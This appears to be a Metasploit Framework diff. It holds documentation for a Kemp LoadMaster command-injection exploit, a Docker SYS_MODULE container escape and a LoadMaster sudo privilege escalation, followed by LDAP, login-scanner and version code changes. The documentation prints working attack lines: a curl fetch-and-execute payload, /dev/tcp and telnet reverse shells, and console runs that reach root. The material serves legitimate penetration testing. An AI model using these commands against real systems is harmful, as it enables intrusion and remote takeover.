RHOSTS 10.5.134.141 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-met
asploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI path to LoadMaster
VHOST no HTTP server virtual host
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME GyzwtIbxq no Name to use on remote system when storing payload; cannot contain spaces or slash
es
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR /tmp/ yes Remote writable dir to store payload; cannot contain spaces
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > run
[*] Command to run on remote host: curl -so /tmp/LlipoMVy http://10.5.135.201:8080/RByzlSnTzclKDpvXskXIrg; chmod +x /tmp/LlipoMVy; /tmp/LlipoMVy &
[*] Fetch handler listening on 10.5.135.201:8080
[*] HTTP server started
[*] Adding resource /RByzlSnTzclKDpvXskXIrg
[*] Started reverse TCP handler on 10.5.135.201:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 10.5.134.141:443 is vulnerable...
[+] The target is vulnerable.
[*] Sending payload...
[*] Client 10.5.134.141 requested /RByzlSnTzclKDpvXskXIrg
[*] Sending payload to 10.5.134.141 (curl/7.77.0)
[+] Now background this session with "bg" and then run "resource run_progress_kemp_loadmaster_sudo_priv_esc_2024.rc" to get a root shell
[*] Meterpreter session 1 opened (10.5.135.201:4444 -> 10.5.134.141:29264) at 2024-04-12 17:08:57 -0500
meterpreter > sysinfo
Computer : 10.5.134.141
OS : SuSE 7.2 (Linux 4.14.137)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: bal
```
@@ -0,0 +1,110 @@
## Vulnerable Application
This module performs a container escape onto the host as the daemon user. It
takes advantage of the SYS_MODULE capability. If that exists and the linux
headers are available to compile on the target, then we can escape onto the host.
### Creating A Testing Environment
- Get a VM that you want to test on (or your own machine)
- Install Docker
- Run a listener (can be anything but this example will make use of the msfconsole `cmd/unix/reverse_bash` payload)
```msf
msf6 > use payload/cmd/unix/reverse_bash
msf6 payload(cmd/unix/reverse_bash) > set lhost vboxnet0
lhost => 192.168.56.1
msf6 payload(cmd/unix/reverse_bash) > generate -f raw
bash -c '0<&118-;exec 118<>/dev/tcp/192.168.56.1/4444;sh <&118 >&118 2>&118'
msf6 payload(cmd/unix/reverse_bash) > exploit -z
[*] Payload Handler Started as Job 0
msf6 payload(cmd/unix/reverse_bash) >
[*] [2023.11.07-21:28:57] Started reverse TCP handler on 192.168.56.1:4444
```
- Create a privileged container (forwarding port 4444 in this example in order
to use a bind shell from the host. Container must be the same OS as host)
```bash
docker run --rm -it --cap-add SYS_MODULE ubuntu bash -c '0<&118-;exec 118<>/dev/tcp/192.168.56.1/4444;sh <&118 >&118 2>&118'
```
- Inside your session, install the required packages to run. Package manager will differ to OS, for debian as an example
```bash
apt update && apt install -y gcc make kmod linux-headers-$(uname -r)
```
## Verification Steps
1. Start msfconsole
2. Get a session
3. Install required packages into session (line 30)
4. Run `use exploit/linux/local/docker_privileged_container_kernel_escape`
5. Run `set SESSION [session]`
6. Run `check`
7. Run `set PAYLOAD [payload]`
8. Run `exploit`
## Options
### KernelModuleName
The name that the kernel module will be called in the system. The default if no
name is set is "{rand(8)}"
### WritableContainerDir
A directory where we can write files inside the container (default is `/tmp/.{rand(4)}`).
This is needed to drop the payload into the container.
### ReloadKernelModule
Rebuilds and reloads kernel module if its already loaded in case of repeat runs.
## Scenarios
### Container Escape from debian linux with reverse bash
```msf
msf6 > sessions -i 1 -c "apt update && apt install -y gcc make kmod linux-headers-$(uname -r)"
[*] Running 'apt update && apt install -y gcc make kmod linux-headers-$(uname -r)' on shell session 1 (192.168.56.126)
msf6 > use exploit/linux/local/docker_privileged_container_kernel_escape
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > set session 1
session => 1
msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > check
[*] The target appears to be vulnerable. Inside Docker container and target appears vulnerable
msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > exploit -z
[*] [2023.11.07-21:42:40] Started reverse TCP handler on 192.168.56.1:4444
[*] [2023.11.07-21:42:42] Creating files...
[*] [2023.11.07-21:42:43] Compiling the kernel module...
[+] [2023.11.07-21:42:43] Kernel module compiled successfully
[*] [2023.11.07-21:42:43] Loading kernel module...
[*] Command shell session 3 opened (192.168.56.1:4444 -> 192.168.56.126:60974) at 2023-11-07 21:42:50 -0500
[*] This is CredCollect, I have the conn!
```
### Container Escape from arch linux with meterpreter
```msf
msf6 > sessions -i 2 -c "pacman -Syy --noconfirm gcc glibc make linux-headers"
[*] Running 'pacman -Syy --noconfirm gcc glibc make linux-headers' on shell session 2 (192.168.56.106)
msf6 > use exploit/linux/local/docker_privileged_container_kernel_escape
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > set session 2
session => 2
msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > set lhost vboxnet0
lhost => vboxnet0
msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > check
[*] The target appears to be vulnerable. Inside Docker container and target appears vulnerable
msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > exploit -z
[*] [2023.11.07-21:48:40] Started reverse TCP handler on 192.168.56.1:4444
[*] [2023.11.07-21:48:41] Creating files...
[*] [2023.11.07-21:48:43] Compiling the kernel module...
[+] [2023.11.07-21:48:44] Kernel module compiled successfully
[*] [2023.11.07-21:48:44] Loading kernel module...
[*] [2023.11.07-21:48:44] Sending stage (3045380 bytes) to 192.168.56.106
[*] Meterpreter session 4 opened (192.168.56.1:4444 -> 192.168.56.106:50402) at 2023-11-07 21:48:45 -0500
[*] This is CredCollect, I have the conn!
[*] Session 4 created in the background.
```
@@ -0,0 +1,188 @@
## Vulnerable Application
Progress Kemp LoadMaster up to at least 7.2.59.2.22338. The vendor is aware of this "feature," but
has chosen not to change the behavior. It was originally paired with CVE-2024-1212, but as this
privilege escalation was not patched when CVE-2024-1212 was, we split it into its own module.
This exploit/feature allows the default `bal` user to run several binaries with the `sudo` prefix
that will elevate without prompting for a password. As the configuration is based on filename and
the `bal` user has write permissions to these files, the `bal` user can simply write over the existing
binary with one of their choosing, then prefix it with `sudo` and launch the binary with `root`
privileges.
This module defaults to overwrite `/bin/loadkeys` with `/bin/bash`, though other binaries would work,
too.
For more details on the vulnerability:
https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/
https://support.kemptechnologies.com/hc/en-us/articles/23878931058445-LoadMaster-Security-Vulnerability-CVE-2024-1212
A trial VM which the exploit should work against out of the box can be downloaded from:
https://sso.kemptechnologies.com/register/kemp/vlm
The AWS marketplace also has free trials which can be used. These require the "session management" to be enabled in order for the exploit to work. Since by default the admin WUI is behind basic auth.
https://aws.amazon.com/marketplace/pp/prodview-kgh3dsfk7qcnw
Because this is an appliance, there are limited commands available for command-based payloads.
## Verification Steps
1. Install the application
1. Start msfconsole
1. Gain a session on a Progress Kemp Loadmaster target as the `bal` user
1. Do: `use exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024`
1. Do: `set SESSION <session>`
1. Do: `set LHOST <your host IP>`
1. Do: `run`
1. You should get a shell as the `root` user.
## Scenarios
### LoadMaster 7.2.59.0.22007
#### Metasploit Binary Dropper Payload
```msf
msf6 exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > show options
Module options (exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on
TARGET_BINARY /bin/loadkeys yes The path for a binary file that has permission to auto-elevate.
WRITABLE_DIR /tmp yes A directory where we can write files
Payload options (linux/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Dropper
View the full module info with the info, or info -d command.
msf6 exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > run
[*] Started reverse TCP handler on 10.5.135.201:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Found 3 indicators this is a KEMP product
[!] The service is running, but could not be validated.
[*] Writing payload to /tmp/.rypuliojtdch
[*] Moving /bin/loadkeys to /tmp/.qyiojnfbnfc
[*] Moving /tmp/.rypuliojtdch to /bin/loadkeys
[*] Running /bin/loadkeys
[+] Deleted /tmp/.rypuliojtdch
[*] Meterpreter session 2 opened (10.5.135.201:4444 -> 10.5.134.141:28850) at 2024-05-10 08:50:39 -0500
[*] Moving /tmp/.qyiojnfbnfc to /bin/loadkeys
[+] /bin/loadkeys returned to original contents
meterpreter > sysinfo
Computer : 10.5.134.141
OS : SuSE 7.2 (Linux 4.14.137)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: root
meterpreter >
```
#### Reverse Bash Command Payload
```msf
msf6 exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > show options
Module options (exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on
TARGET_BINARY /bin/loadkeys yes The path for a binary file that has permission to auto-elevate.
WRITABLE_DIR /tmp yes A directory where we can write files
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Command
View the full module info with the info, or info -d command.
msf6 exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > run
[+] sh -c '(sleep 4376|telnet 10.5.135.201 4444|while : ; do sh && break; done 2>&1|telnet 10.5.135.201 4444 >/dev/null 2>&1 &)'
[*] Started reverse TCP double handler on 10.5.135.201:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Found 3 indicators this is a KEMP product
[!] The service is running, but could not be validated.
[*] Preparing payload command
[*] Moving /bin/loadkeys to /tmp/.mnqdvfwutfd
[*] Moving /bin/bash to /bin/loadkeys
[*] Running payload command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo igZFhKRnh9GplIdu;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "sh: line 2: Connected: command not found\r\nsh: line 3: Escape: command not found\r\nigZFhKRnh9GplIdu\r\n"
[*]
[*] Moving /tmp/.mnqdvfwutfd to /bin/loadkeys
[*] Matching...
[*] B is input...
[+] /bin/loadkeys returned to original contents
ls
azurelinuxagent
bin
cgroup
dev
dmZPnkPUPoV
etc
initial_setup.sh
lib
lib64
lost+found
mnt
one4net
openssl
proc
root
sbin
sks
sys
tmp
user
usr
var
touch tempfile
ls -l
total 51
drwxr-xr-x 5 root root 1024 Mar 22 2023 azurelinuxagent
.
.
.
-rw-r--r-- 1 root root 0 May 3 17:02 tempfile
.
.
drwxr-xr-x 12 root root 1024 Mar 21 17:29 var
```
@@ -282,19 +282,19 @@ module Metasploit::Framework
File.open(pass_file, 'r:binary') do |pass_fd|
pass_fd.each_line do |pass_from_file|
pass_from_file.chomp!
if username.present?
yield Metasploit::Framework::Credential.new(public: username, private: pass_from_file, realm: realm, private_type: :password)
end
if user_as_pass
yield Metasploit::Framework::Credential.new(public: pass_from_file, private: pass_from_file, realm: realm, private_type: :password)
end
if user_fd
user_fd.each_line do |user_from_file|
user_from_file.chomp!
yield Metasploit::Framework::Credential.new(public: user_from_file, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
end
user_fd.seek(0)
end
additional_privates.each do |add_private|
yield Metasploit::Framework::Credential.new(public: user_from_file, private: add_private, realm: realm, private_type: private_type(add_private))
next unless user_fd
user_fd.each_line do |user_from_file|
user_from_file.chomp!
yield Metasploit::Framework::Credential.new(public: user_from_file, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
end
user_fd.seek(0)
end
end
end
@@ -313,6 +313,17 @@ module Metasploit::Framework
end
end
additional_privates.each do |add_private|
if username.present?
yield Metasploit::Framework::Credential.new(public: username, private: add_private, realm: realm, private_type: private_type(add_private))
end
user_fd.each_line do |user_from_file|
user_from_file.chomp!
yield Metasploit::Framework::Credential.new(public: user_from_file, private: add_private, realm: realm, private_type: private_type(add_private))
end
user_fd.seek(0)
end
additional_publics.each do |add_public|
if password.present?
yield Metasploit::Framework::Credential.new(public: add_public, private: password, realm: realm, private_type: private_type(password) )
+32 -46
View File
@@ -1,5 +1,7 @@
# frozen_string_literal: true
require 'rex/proto/ldap/auth_adapter'
module Metasploit
module Framework
module LDAP
@@ -24,18 +26,16 @@ module Metasploit
case opts[:ldap_auth]
when Msf::Exploit::Remote::AuthOption::SCHANNEL
raise Msf::ValidationError, 'The SSL option must be enabled when using SCHANNEL authentication.' unless ssl
connect_opts.merge!(ldap_auth_opts_scahnnel(opts))
connect_opts.merge!(ldap_auth_opts_schannel(opts, ssl))
when Msf::Exploit::Remote::AuthOption::KERBEROS
connect_opts.merge!(ldap_auth_opts_kerberos(opts))
connect_opts.merge!(ldap_auth_opts_kerberos(opts, ssl))
when Msf::Exploit::Remote::AuthOption::NTLM
connect_opts.merge!(ldap_auth_opts_ntlm(opts))
connect_opts.merge!(ldap_auth_opts_ntlm(opts, ssl))
when Msf::Exploit::Remote::AuthOption::PLAINTEXT
connect_opts.merge!(ldap_auth_opts_plaintext(opts))
when Msf::Exploit::Remote::AuthOption::AUTO
if opts[:username].present? && opts[:domain].present?
connect_opts.merge!(ldap_auth_opts_ntlm(opts))
connect_opts.merge!(ldap_auth_opts_ntlm(opts, ssl))
elsif opts[:username].present?
connect_opts.merge!(ldap_auth_opts_plaintext(opts))
end
@@ -46,14 +46,15 @@ module Metasploit
private
def ldap_auth_opts_kerberos(opts)
def ldap_auth_opts_kerberos(opts, ssl)
auth_opts = {}
raise Msf::ValidationError, 'The Ldap::Rhostname option is required when using Kerberos authentication.' if opts[:ldap_rhostname].blank?
raise Msf::ValidationError, 'The LDAP::Rhostname option is required when using Kerberos authentication.' if opts[:ldap_rhostname].blank?
raise Msf::ValidationError, 'The DOMAIN option is required when using Kerberos authentication.' if opts[:domain].blank?
offered_etypes = Msf::Exploit::Remote::AuthOption.as_default_offered_etypes(opts[:ldap_krb_offered_enc_types])
raise Msf::ValidationError, 'At least one encryption type is required when using Kerberos authentication.' if offered_etypes.empty?
sign_and_seal = opts.fetch(:sign_and_seal, !ssl)
kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::LDAP.new(
host: opts[:domain_controller_rhost].blank? ? nil : opts[:domain_controller_rhost],
hostname: opts[:ldap_rhostname],
@@ -64,58 +65,41 @@ module Metasploit
framework_module: opts[:framework_module],
cache_file: opts[:ldap_krb5_cname].blank? ? nil : opts[:ldap_krb5_cname],
ticket_storage: opts[:kerberos_ticket_storage],
offered_etypes: offered_etypes
offered_etypes: offered_etypes,
mutual_auth: true,
use_gss_checksum: sign_and_seal || ssl
)
auth_opts[:auth] = {
method: :sasl,
mechanism: 'GSS-SPNEGO',
initial_credential: proc do
kerberos_result = kerberos_authenticator.authenticate
kerberos_result[:security_blob]
end,
challenge_response: true
method: :rex_kerberos,
kerberos_authenticator: kerberos_authenticator,
sign_and_seal: sign_and_seal
}
auth_opts
end
def ldap_auth_opts_ntlm(opts)
def ldap_auth_opts_ntlm(opts, ssl)
auth_opts = {}
ntlm_client = RubySMB::NTLM::Client.new(
(opts[:username].nil? ? '' : opts[:username]),
(opts[:password].nil? ? '' : opts[:password]),
workstation: 'WORKSTATION',
domain: opts[:domain].blank? ? '.' : opts[:domain],
flags:
RubySMB::NTLM::NEGOTIATE_FLAGS[:UNICODE] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:REQUEST_TARGET] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:NTLM] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:ALWAYS_SIGN] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:EXTENDED_SECURITY] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:KEY_EXCHANGE] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:TARGET_INFO] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:VERSION_INFO]
)
negotiate = proc do |challenge|
ntlmssp_offset = challenge.index('NTLMSSP')
type2_blob = challenge.slice(ntlmssp_offset..-1)
challenge = [type2_blob].pack('m')
type3_message = ntlm_client.init_context(challenge)
type3_message.serialize
end
auth_opts[:auth] = {
method: :sasl,
mechanism: 'GSS-SPNEGO',
initial_credential: ntlm_client.init_context.serialize,
challenge_response: negotiate
# use the rex one provided by us to support TLS channel binding (see: ruby-ldap/ruby-net-ldap#407) and blank
# passwords (see: WinRb/rubyntlm#45)
method: :rex_ntlm,
username: opts[:username],
password: opts[:password],
domain: opts[:domain],
workstation: 'WORKSTATION',
sign_and_seal: opts.fetch(:sign_and_seal, !ssl)
}
auth_opts
end
def ldap_auth_opts_plaintext(opts)
auth_opts = {}
raise Msf::ValidationError, 'Can not sign and seal when using Plaintext authentication.' if opts.fetch(:sign_and_seal, false)
auth_opts[:auth] = {
method: :simple,
username: opts[:username],
@@ -124,10 +108,12 @@ module Metasploit
auth_opts
end
def ldap_auth_opts_scahnnel(opts)
def ldap_auth_opts_schannel(opts, ssl)
auth_opts = {}
pfx_path = opts[:ldap_cert_file]
raise Msf::ValidationError, 'The LDAP::CertFile option is required when using SCHANNEL authentication.' if pfx_path.blank?
raise Msf::ValidationError, 'The SSL option must be enabled when using Schannel authentication.' unless ssl
raise Msf::ValidationError, 'The LDAP::CertFile option is required when using Schannel authentication.' if pfx_path.blank?
raise Msf::ValidationError, 'Can not sign and seal when using Schannel authentication.' if opts.fetch(:sign_and_seal, false)
unless ::File.file?(pfx_path) && ::File.readable?(pfx_path)
raise Msf::ValidationError, 'Failed to load the PFX certificate file. The path was not a readable file.'
+16 -8
View File
@@ -11,8 +11,10 @@ module Metasploit
include Metasploit::Framework::LDAP::Client
include Msf::Exploit::Remote::LDAP
attr_accessor :opts
attr_accessor :realm_key
attr_accessor :opts, :realm_key
# @!attribute use_client_as_proof
# @return [Boolean] If a login is successful and this attribute is true - an LDAP::Client instance is used as proof
attr_accessor :use_client_as_proof
def attempt_login(credential)
result_opts = {
@@ -36,17 +38,24 @@ module Metasploit
}.merge(@opts)
connect_opts = ldap_connect_opts(host, port, connection_timeout, ssl: opts[:ssl], opts: opts)
ldap_open(connect_opts) do |ldap|
return status_code(ldap.get_operation_result.table)
begin
ldap_client = ldap_open(connect_opts, keep_open: true)
return status_code(ldap_client)
rescue StandardError => e
{ status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e }
end
end
def status_code(operation_result)
case operation_result[:code]
def status_code(ldap_client)
operation_result = ldap_client.get_operation_result.table[:code]
case operation_result
when 0
{ status: Metasploit::Model::Login::Status::SUCCESSFUL }
result = { status: Metasploit::Model::Login::Status::SUCCESSFUL }
if use_client_as_proof
result[:proof] = ldap_client
result[:connection] = ldap_client.socket
end
result
else
{ status: Metasploit::Model::Login::Status::INCORRECT, proof: "Bind Result: #{operation_result}" }
end
@@ -84,7 +93,6 @@ module Metasploit
credential.public = "#{credential.public}@#{opts[:domain]}"
yield credential
end
end
end
end
@@ -34,17 +34,13 @@ module Metasploit
false
end
# the actual login method, called by #attempt_login
# get the authentication token
#
# @param user [String] The username to try
# @param pass [String] The password to try
# @param user [String] The username
# @return [Hash]
# * status [Metasploit::Model::Login::Status]
# * proof [String] the HTTP response body
def do_login(user, pass)
# prep the data needed for login
protocol = ssl ? 'https' : 'http'
# attempt to get an authentication token
# * proof [String] the authentication token
def get_auth_token(user)
auth_token_uri = normalize_uri("#{uri}/runtime/core/user/#{user}/authentication-token")
# send the request to get an authentication token
@@ -79,9 +75,43 @@ module Metasploit
return { status: LOGIN_STATUS::INCORRECT, proof: auth_res.body.to_s }
end
{ status: LOGIN_STATUS::SUCCESSFUL, proof: auth_token }
end
# generate a signature from the authentication token, username, and password
#
# @param auth_token [String] The authentication token retrieved by calling get_auth_token
# @param user [String] The username
# @param pass [String] The password
# @return [String] A hexadecimal string representation of the signature
def generate_signature(auth_token, user, pass)
Digest::MD5.hexdigest(auth_token + pass + auth_token + user + auth_token)
end
# the actual login method, called by #attempt_login
#
# @param user [String] The username to try
# @param pass [String] The password to try
# @return [Hash]
# * status [Metasploit::Model::Login::Status]
# * proof [String] the HTTP response body
def do_login(user, pass)
# prep the data needed for login
protocol = ssl ? 'https' : 'http'
# attempt to get an authentication token
auth_token_res = get_auth_token(user)
# get_auth_token always returns a hash - check that status is SUCCESSFUL
# if not, just return as it is
unless auth_token_res[:status] == LOGIN_STATUS::SUCCESSFUL
return auth_token_res
end
# extract the authentication token from the hash
auth_token = auth_token_res[:proof]
login_uri = normalize_uri("#{uri}/runtime/core/user/#{user}/authentication")
# calculate signature to use when logging in
signature = Digest::MD5.hexdigest(auth_token + pass + auth_token + user + auth_token)
signature = generate_signature(auth_token, user, pass)
# GET parameters for login
vars_get = {
'Signature' => signature,
+1 -1
View File
@@ -32,7 +32,7 @@ module Metasploit
end
end
VERSION = "6.4.6"
VERSION = "6.4.9"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
+11
View File
@@ -221,6 +221,13 @@ class Config < Hash
self.new.smb_session_history
end
# Returns the full path to the ldap session history file.
#
# @return [String] path to the history file.
def self.ldap_session_history
self.new.ldap_session_history
end
# Returns the full path to the PostgreSQL session history file.
#
# @return [String] path to the history file.
@@ -351,6 +358,10 @@ class Config < Hash
config_directory + FileSep + "smb_session_history"
end
def ldap_session_history
config_directory + FileSep + "ldap_session_history"
end
def postgresql_session_history
config_directory + FileSep + "postgresql_session_history"
end
+142
View File
@@ -0,0 +1,142 @@
# -*- coding: binary -*-
require 'rex/post/ldap'
class Msf::Sessions::LDAP
#
# This interface supports basic interaction.
#
include Msf::Session::Basic
include Msf::Sessions::Scriptable
# @return [Rex::Post::LDAP::Ui::Console] The interactive console
attr_accessor :console
# @return [Rex::Proto::LDAP::Client] The LDAP client
attr_accessor :client
attr_accessor :platform, :arch
attr_reader :framework
# @param[Rex::IO::Stream] rstream
# @param [Hash] opts
# @option opts [Rex::Proto::LDAP::Client] :client
def initialize(rstream, opts = {})
@client = opts.fetch(:client)
self.console = Rex::Post::LDAP::Ui::Console.new(self)
super(rstream, opts)
end
def bootstrap(datastore = {}, handler = nil)
session = self
session.init_ui(user_input, user_output)
@info = "LDAP #{datastore['USERNAME']} @ #{@peer_info}"
end
def execute_file(full_path, args)
if File.extname(full_path) == '.rb'
Rex::Script::Shell.new(self, full_path).run(args)
else
console.load_resource(full_path)
end
end
def process_autoruns(datastore)
['InitialAutoRunScript', 'AutoRunScript'].each do |key|
next if datastore[key].nil? || datastore[key].empty?
args = Shellwords.shellwords(datastore[key])
print_status("Session ID #{sid} (#{tunnel_to_s}) processing #{key} '#{datastore[key]}'")
execute_script(args.shift, *args)
end
end
def type
self.class.type
end
# Returns the type of session.
#
def self.type
'ldap'
end
def self.can_cleanup_files
false
end
#
# Returns the session description.
#
def desc
'LDAP'
end
def address
@address ||= client.peerhost
end
def port
@port ||= client.peerport
end
##
# :category: Msf::Session::Interactive implementors
#
# Initializes the console's I/O handles.
#
def init_ui(input, output)
self.user_input = input
self.user_output = output
console.init_ui(input, output)
console.set_log_source(log_source)
super
end
##
# :category: Msf::Session::Interactive implementors
#
# Resets the console's I/O handles.
#
def reset_ui
console.unset_log_source
console.reset_ui
end
def exit
console.stop
end
##
# :category: Msf::Session::Interactive implementors
#
# Override the basic session interaction to use shell_read and
# shell_write instead of operating on rstream directly.
def _interact
framework.events.on_session_interact(self)
framework.history_manager.with_context(name: type.to_sym) do
_interact_stream
end
end
##
# :category: Msf::Session::Interactive implementors
#
def _interact_stream
framework.events.on_session_interact(self)
console.framework = framework
# Call the console interaction of the ldap client and
# pass it a block that returns whether or not we should still be
# interacting. This will allow the shell to abort if interaction is
# canceled.
console.interact { interacting != true }
console.framework = nil
# If the stop flag has been set, then that means the user exited. Raise
# the EOFError so we can drop this handle like a bad habit.
raise EOFError if (console.stopped? == true)
end
end
+2
View File
@@ -9,6 +9,8 @@ module Msf
module Auxiliary::AuthBrute
include Msf::Auxiliary::LoginScanner
def initialize(info = {})
super
+31
View File
@@ -0,0 +1,31 @@
# -*- coding: binary -*-
module Msf
class Auxiliary
###
#
# This module provides a base configure scanner method for binding common datastore options to the login scanners
#
###
module LoginScanner
#
# Converts datastore options into configuration parameters for the
# Msf::Auxiliary::LoginScanner. Any parameters passed into
# this method will override the defaults.
#
def configure_login_scanner(conf)
{
host: datastore['RHOST'],
port: datastore['RPORT'],
proxies: datastore['Proxies'],
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
framework: framework,
framework_module: self,
local_port: datastore['CPORT'],
local_host: datastore['CHOST'],
}.merge(conf)
end
end
end
end
+19 -4
View File
@@ -25,10 +25,14 @@ module Msf
begin
connect
sock.send(header + data_length + data, 0)
res = sock.recv(1024)
res_length = sock.timed_read(4)&.unpack1('N')
return nil if res_length.nil?
res = sock.timed_read(res_length)
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
print_error("Unable to connect: #{e.class} #{e.message}\n#{e.backtrace * "\n"}")
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
elog('Error sending the rocketmq version request', error: e)
return nil
ensure
disconnect
end
@@ -64,7 +68,11 @@ module Msf
# @return [Hash] Hash including RocketMQ versions info and Broker info if found
def parse_rocketmq_data(res)
# remove a response header so we have json-ish data
res = res[8..]
res = res.split(/\x00_/)[1]
unless res.starts_with?("{")
print_error("Failed to successfully remove the response header and now cannot parse the response.")
return nil
end
# we have 2 json objects appended to each other, so we now need to split that out and make it usable
res = res.split('}{')
@@ -111,14 +119,21 @@ module Msf
# Example of brokerData:
# [{"brokerAddrs"=>{"0"=>"172.16.199.135:10911"}, "brokerName"=>"DESKTOP-8ATHH6O", "cluster"=>"DefaultCluster"}]
if broker_datas['brokerDatas'].blank?
print_status("brokerDatas field is missing from the response, assuming default broker port of #{default_broker_port}")
return default_broker_port
end
broker_datas['brokerDatas'].each do |broker_data|
if broker_data['brokerAddrs'].blank?
print_status("brokerAddrs field is missing from the response, assuming default broker port of #{default_broker_port}")
return default_broker_port
end
broker_data['brokerAddrs'].values.each do |broker_endpoint|
next unless broker_endpoint.start_with?("#{rhost}:")
return broker_endpoint.match(/\A#{rhost}:(\d+)\z/)[1].to_i
end
end
print_status("autodetection failed, assuming default port of #{default_broker_port}")
default_broker_port
end
@@ -120,7 +120,9 @@ module Msf::Exploit::Remote::DCERPC::KerberosAuthentication
self.krb_encryptor = @kerberos_authenticator.get_message_encryptor(ap_rep_enc_part.subkey,
@client_sequence_number,
server_sequence_number)
server_sequence_number,
rc4_pad_style: :eight_byte_aligned)
# Set the session key value on the parent class - needed for decrypting attribute values in e.g. DRSR
@session_key = ap_rep_enc_part.subkey.value
end
+35 -39
View File
@@ -14,6 +14,7 @@ module Msf
module Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::LoginScanner
#
# Initializes an exploit module that exploits a vulnerability in an HTTP
@@ -152,7 +153,7 @@ module Exploit::Remote::HttpClient
client_password = opts['password'] || datastore['HttpPassword'] || ''
http_logger_subscriber = Rex::Proto::Http::HttpLoggerSubscriber.new(logger: self)
nclient = Rex::Proto::Http::Client.new(
opts['rhost'] || rhost,
(opts['rport'] || rport).to_i,
@@ -270,44 +271,39 @@ module Exploit::Remote::HttpClient
# this method will override the defaults.
#
def configure_http_login_scanner(conf)
{
host: rhost,
port: rport,
ssl: ssl,
ssl_version: ssl_version,
proxies: datastore['PROXIES'],
framework: framework,
framework_module: self,
vhost: vhost,
user_agent: datastore['UserAgent'],
evade_uri_encode_mode: datastore['HTTP::uri_encode_mode'],
evade_uri_full_url: datastore['HTTP::uri_full_url'],
evade_pad_method_uri_count: datastore['HTTP::pad_method_uri_count'],
evade_pad_uri_version_count: datastore['HTTP::pad_uri_version_count'],
evade_pad_method_uri_type: datastore['HTTP::pad_method_uri_type'],
evade_pad_uri_version_type: datastore['HTTP::pad_uri_version_type'],
evade_method_random_valid: datastore['HTTP::method_random_valid'],
evade_method_random_invalid: datastore['HTTP::method_random_invalid'],
evade_method_random_case: datastore['HTTP::method_random_case'],
evade_version_random_valid: datastore['HTTP::version_random_valid'],
evade_version_random_invalid: datastore['HTTP::version_random_invalid'],
evade_uri_dir_self_reference: datastore['HTTP::uri_dir_self_reference'],
evade_uri_dir_fake_relative: datastore['HTTP::uri_dir_fake_relative'],
evade_uri_use_backslashes: datastore['HTTP::uri_use_backslashes'],
